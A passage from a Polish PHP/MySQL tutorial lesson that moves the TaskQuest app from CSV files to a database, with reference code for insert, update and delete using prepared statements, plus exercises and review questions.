<p class="wp-block-paragraph">Dlaczego? Pierwsze zapytanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania</code>) się udało i jego zmiana <strong>została w bazie</strong>. Drugie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE uzytkownicy</code>) rzuciło wyjątek. Baza nie wie, że te dwie zmiany „należą do siebie”. Dane są niespójne. Tu literówka jest sztuczna, ale w prawdziwej aplikacji drugie zapytanie może przerwać zanik połączenia, restart serwera czy przekroczenie czasu. Rozwiązanie — transakcja: „wykonaj obie zmiany albo żadną” (zadanie końcowe C). <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>.</strong></p>



<h3 class="wp-block-heading">Eksperyment 6: stary streak na stronie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> dopisz tymczasowo w bloku wywołań (przed prezentacją):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak();</code></pre>



<p class="wp-block-paragraph">Ustaw w phpMyAdmin Kamie <code class="prettyprint lang-sql" style="font-size: 0.85em;">streak = 5</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci = CURDATE() - INTERVAL 1 DAY</code>. Odśwież stronę kilka razy.</p>



<p class="wp-block-paragraph">Oczekiwane: strona pokazuje 6, choć w bazie jest 5 i Kama nic dziś nie zrobiła. Metoda „udaje” wykonanie zadania przy każdym wyświetleniu (tak działała symulacja do Lekcji 18). Wynik nie trafia do bazy, więc każde odświeżenie znowu pokazuje 6. <strong>Usuń dopisaną linię.</strong></p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 19. Pliki niewymienione są <strong>identyczne jak po Lekcji 18</strong> (wersja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">18_TaskQuest.md</code>, sekcja 9, a tam, gdzie L18 odsyła dalej — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">17_TaskQuest.md</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading">Usunięte</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php          (wczytajZadania(), zapiszZadania(), sprawdzWierszZadania())
data/zadania.csv i katalog data/
config/config.php: define('PLIK_ZADAN', ...);
includes/funkcje_zadan.php: function nastepneIdZadania(...)</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (cały plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcje 18–19).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}

function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie-&gt;prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}

function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}

function zapiszPostepUzytkownika(mysqli $polaczenie, int $uzytkownikId, int $zdobyteXp, int $streak): void
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE uzytkownicy SET xp = xp + ?, streak = ?, data_ostatniej_aktywnosci = CURDATE() WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('iii', $zdobyteXp, $streak, $uzytkownikId);
    $zapytanie-&gt;execute();
}

function usunZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare('DELETE FROM zadania WHERE id = ? AND uzytkownik_id = ?');
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> — zmiana</h2>



<p class="wp-block-paragraph">Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane)</code> zastąpiona wersją bez parametru (kod w kroku 5b). Reszta klasy bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>; pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>.</li>



<li>Zawartość warunku „walidacja bez błędów” zastąpiona blokiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> (kod w kroku 2b).</li>



<li>Odczyt pól, walidacja i cała część HTML bez zmian.</li>
</ol>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Cały plik (kroki 6a–6e razem):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/classes/Uzytkownik.php';
require_once __DIR__ . '/includes/funkcje_grywalizacji.php';
require_once __DIR__ . '/includes/funkcje_terminow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

$zadanieIdTekst = $_POST&#91;'id'] ?? '';

if (!preg_match('/^\d+$/', $zadanieIdTekst)) {
    header('Location: index.php');
    exit;
}

$zadanieId = (int) $zadanieIdTekst;
$uzytkownikId = $_SESSION&#91;'uzytkownik_id'];

try {
    $polaczenie = polaczZBaza();
    $zadanie = wczytajZadanieUzytkownika($polaczenie, $zadanieId, $uzytkownikId);

    if ($zadanie === null) {
        ustawKomunikat('Nie znaleziono takiego zadania.');
    } elseif (!oznaczZadanieJakoWykonane($polaczenie, $zadanieId, $uzytkownikId)) {
        ustawKomunikat('To zadanie jest już wykonane.');
    } else {
        $uzytkownik = wczytajUzytkownika($polaczenie, $uzytkownikId);
        $uzytkownik-&gt;aktualizujStreak();
        zapiszPostepUzytkownika($polaczenie, $uzytkownikId, $zadanie-&gt;pobierzXp(), $uzytkownik-&gt;pobierzStreak());
        ustawKomunikat('Zadanie wykonane! +' . $zadanie-&gt;pobierzXp() . ' XP');
    }
} catch (Exception $wyjatek) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo '&lt;p class="blad"&gt;Nie udało się zapisać zmiany: ' . $wyjatek-&gt;getMessage() . '&lt;/p&gt;';
    echo '&lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;';
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

header('Location: index.php');
exit;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php</code> (nowy plik)</h2>



<p class="wp-block-paragraph">Cały plik — kod w sekcji 6, ROZWIĄZANIE.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li>Usunięte linie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane = $liczbaWykonanych &gt; 0;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane);</code>.</li>



<li>Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code> przywrócone <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code>.</li>



<li>W pętli listy, nad ostatnią linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;/div&gt;";</code>, dopisane dwa formularze. Linie z terminem i komunikatem terminu bez zmian:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            if (!$zadanie-&gt;czyWykonane()) {
                echo '&lt;form class="akcja" method="post" action="oznacz-wykonane.php"&gt;';
                echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
                echo '&lt;button type="submit"&gt;Zrobione!&lt;/button&gt;';
                echo '&lt;/form&gt;';
            }

            echo '&lt;form class="akcja" method="post" action="usun-zadanie.php"&gt;';
            echo '&lt;input type="hidden" name="id" value="' . $zadanie-&gt;pobierzId() . '"&gt;';
            echo '&lt;button type="submit"&gt;Usuń&lt;/button&gt;';
            echo '&lt;/form&gt;';</code></pre>



<p class="wp-block-paragraph">Reszta pliku (blok danych z bazy, liczniki, filtr widoku, pasek XP, komunikat, ranking) bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">.zadanie.po-terminie</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">form.akcja { display: inline; }</code>.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_plikow.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'data/zadania.csv'</code>, dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'oznacz-wykonane.php'</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'usun-zadanie.php'</code> (razem <strong>19</strong> ścieżek). Usunięta zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiCsv</code> i sekcja „Pliki danych”. Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.9&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">klasa Zadanie (bez zmian), funkcje listy, grywalizacji, terminów (także aktualizujStreak()), tekstowe, sesji
walidujNoweZadanie(), formularz dodawania zachowujący wpisane dane, ramka $bladZapisu, komunikat jednorazowy, POST → przekierowanie → GET
logowanie jak po Lekcji 18 (login bez hasła), w sesji tylko uzytkownik_id
index.php: blok danych z bazy, obsługa awarii bazy, liczniki, filtr widoku + cookie, pasek XP, .po-terminie, ranking
baza taskquest i sql/taskquest.sql (bez zmian)
Uzytkownik::dodajXp(), Zadanie::oznaczJakoWykonane() — nadal nieużywane przez aplikację</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php:
    dodajZadanie(mysqli, int, string, string, string, int): int              — INSERT, zwraca insert_id
    wczytajZadanieUzytkownika(mysqli, int $zadanieId, int $uzytkownikId): ?Zadanie
    oznaczZadanieJakoWykonane(mysqli, int, int): bool                        — UPDATE z IS NULL
    zapiszPostepUzytkownika(mysqli, int $uzytkownikId, int $zdobyteXp, int $streak): void
    usunZadanie(mysqli, int, int): bool                                      — DELETE
oznacz-wykonane.php, usun-zadanie.php                                        — tylko POST, bez HTML
index.php: przyciski „Zrobione!” i „Usuń” (form.akcja, pole ukryte id), link „+ Dodaj zadanie”
header.php: form.akcja</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: SQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO ... (...) VALUES (...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET ... WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">SET kolumna = kolumna + ?</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM ... WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">CURDATE() - INTERVAL n DAY</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="hidden"&gt;</code>; warunek właściciela i warunek stanu w <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>: zapis do bazy zamiast CSV,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik::aktualizujStreak()</code>: bez parametru, wywoływana tylko po wykonaniu zadania; <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> → seria 1,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: streak pokazywany z bazy (bez przeliczania), link do formularza wraca, przyciski przy zadaniach,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 19 plików, bez sekcji „Pliki danych”; stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.9</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co</th><th>Dlaczego</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> i wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>była to symulacja aktywności; teraz aktywność to kliknięcie „Zrobione!”, a streak jest zapisany w bazie</td></tr><tr><td>parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool $zadanieWykonane</code> metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code></td><td>metoda jest wywoływana tylko po wykonaniu zadania — parametr zawsze byłby <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code></td><td>nic nie czyta ani nie zapisuje pliku; dane są w bazie od Lekcji 17</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>strona nie tworzy obiektu — dane idą wprost do <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code></td></tr><tr><td>sekcja „Pliki danych” w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>nie ma katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code></td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 19 TaskQuest zapisuje zmiany w bazie. Gracz dodaje zadania przez formularz, oznacza je jako wykonane i dostaje za nie XP, a jego seria dni jest liczona w chwili wykonania zadania i zapisywana. Może też usuwać zadania. Aplikacja nie pozwala zmienić ani usunąć cudzego zadania i nie przyznaje XP dwa razy za to samo zadanie. Ranking zmienia się sam, gdy gracze zdobywają XP. Plik CSV zniknął — jedynym miejscem danych jest baza.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Edycja zadania.</strong> Nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">edytuj-zadanie.php?id=N</code>. GET: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> z adresu sprawdzone regexem, zadanie wczytane przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadanieUzytkownika()</code> (cudze albo nieistniejące → komunikat i powrót na listę), formularz jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> wypełniony danymi zadania. POST: te same pola + ukryte <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, walidacja przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>, zapis funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">edytujZadanie(mysqli $polaczenie, int $zadanieId, int $uzytkownikId, string $tytul, string $opis, string $termin, int $xp): bool</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE ... SET tytul = ?, opis = ?, termin = ?, xp = ? WHERE id = ? AND uzytkownik_id = ?</code>). Przy zadaniu link „Edytuj” (GET — tylko otwiera formularz, niczego nie zmienia). Pytania: co zwróci funkcja, gdy użytkownik zapisze formularz bez żadnej zmiany (Eksperyment 4)? Czy wtedy pokażesz „Nie znaleziono takiego zadania.”? Czy wykonane zadanie można edytować i zmienić mu XP — co to znaczy dla XP gracza?</p>



<p class="wp-block-paragraph"><strong>B. Przerwana seria.</strong> Kama miała ostatnią aktywność tydzień temu, a strona nadal pokazuje „streak 5”. Seria jest przerwana, choć baza tego jeszcze nie wie (dowie się przy następnym „Zrobione!”). Dodaj do <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktualnyStreak(): int</code>: gdy data ostatniej aktywności to dziś albo wczoraj — streak z bazy, w przeciwnym razie (także <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>) — 0. Użyj jej w prezentacji zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzStreak()</code>. Nie zapisuj niczego do bazy. Przetestuj daty: dziś, wczoraj, przedwczoraj, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> nie może używać tej metody?</p>



<p class="wp-block-paragraph"><strong>C. Transakcja.</strong> Napraw problem z Eksperymentu 5. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php</code>, zaraz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;begin_transaction();</code>. Po <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;commit();</code>. Do czasu <code class="prettyprint lang-sql" style="font-size: 0.85em;">commit()</code> zmiany nie są ostateczne. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>, jeśli połączenie istnieje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($polaczenie)</code>), wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie-&gt;rollback();</code> — baza cofnie wszystko od <code class="prettyprint lang-sql" style="font-size: 0.85em;">begin_transaction()</code>. Powtórz Eksperyment 5: po błędzie zadanie ma być <strong>niewykonane</strong>, XP bez zmian. Pytania: dlaczego transakcja działa w naszych tabelach (wskazówka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>)? Po co warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">isset($polaczenie)</code>? Czy transakcja zastępuje warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania IS NULL</code>?</p>



<p class="wp-block-paragraph"><strong>D. Potwierdzenie usuwania.</strong> Przycisk „Usuń” prowadzi (GET, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usun-zadanie.php?id=N</code>) do strony z pytaniem „Czy na pewno usunąć zadanie „&#8230;”?” i dwoma przyciskami: „Tak, usuń” (formularz POST z ukrytym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>) i „Anuluj” (link na listę). Dopiero POST usuwa. Na stronie potwierdzenia wyświetl tytuł zadania — skąd go weźmiesz i dlaczego musisz przy tym sprawdzić właściciela?</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</li>



<li>Sprawdź, że przywrócone są: <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND data_wykonania IS NULL</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND uzytkownik_id = ?</code> w zapytaniach (Eksperymenty 2–3), <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszPostepUzytkownika()</code> (Eksperyment 5), a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> nie ma wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> (Eksperyment 6).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</li>



<li>Zaloguj się jako Ola, kliknij „Zrobione!” — 280 XP, streak 1. Zaloguj się jako Kama, dodaj i usuń zadanie.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię napisać INSERT z listą kolumn i wiem, które kolumny mogę pominąć.
&#91; ] Potrafię napisać UPDATE i DELETE z WHERE — i wiem, co się stanie bez WHERE.
&#91; ] Potrafię zwiększyć wartość w bazie względem obecnej (xp = xp + ?) i wiem, czemu to lepsze niż zapis gotowej liczby.
&#91; ] Wiem, co liczy affected_rows przy UPDATE i dlaczego 0 nie znaczy „nie ma wiersza”.
&#91; ] Wiem, do czego służy insert_id.
&#91; ] Potrafię wyjaśnić, dlaczego każde UPDATE/DELETE zadania ma warunek uzytkownik_id = ?.
&#91; ] Potrafię wyjaśnić, dlaczego XP przyznajemy na podstawie wyniku UPDATE z IS NULL, a nie wcześniejszego odczytu.
&#91; ] Wiem, dlaczego „Zrobione!” i „Usuń” to formularze POST, a nie linki.
&#91; ] Wiem, gdzie i kiedy liczony jest teraz streak.
&#91; ] Potrafię opisać, co się dzieje z danymi, gdy z dwóch zapytań uda się tylko pierwsze.
&#91; ] W projekcie nie ma już CSV ani funkcji plikowych.
&#91; ] Usunęłam/usunąłem brudnopis.</code></pre>



<h1 class="wp-block-heading">Pytania kontrolne</h1>



<p class="wp-block-paragraph">1. Tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Podaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> każdego polecenia, wykonanych po kolei:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2;
UPDATE zadania SET data_wykonania = CURDATE() WHERE uzytkownik_id = 2 AND data_wykonania IS NULL;
DELETE FROM zadania WHERE uzytkownik_id = 3;</code></pre>



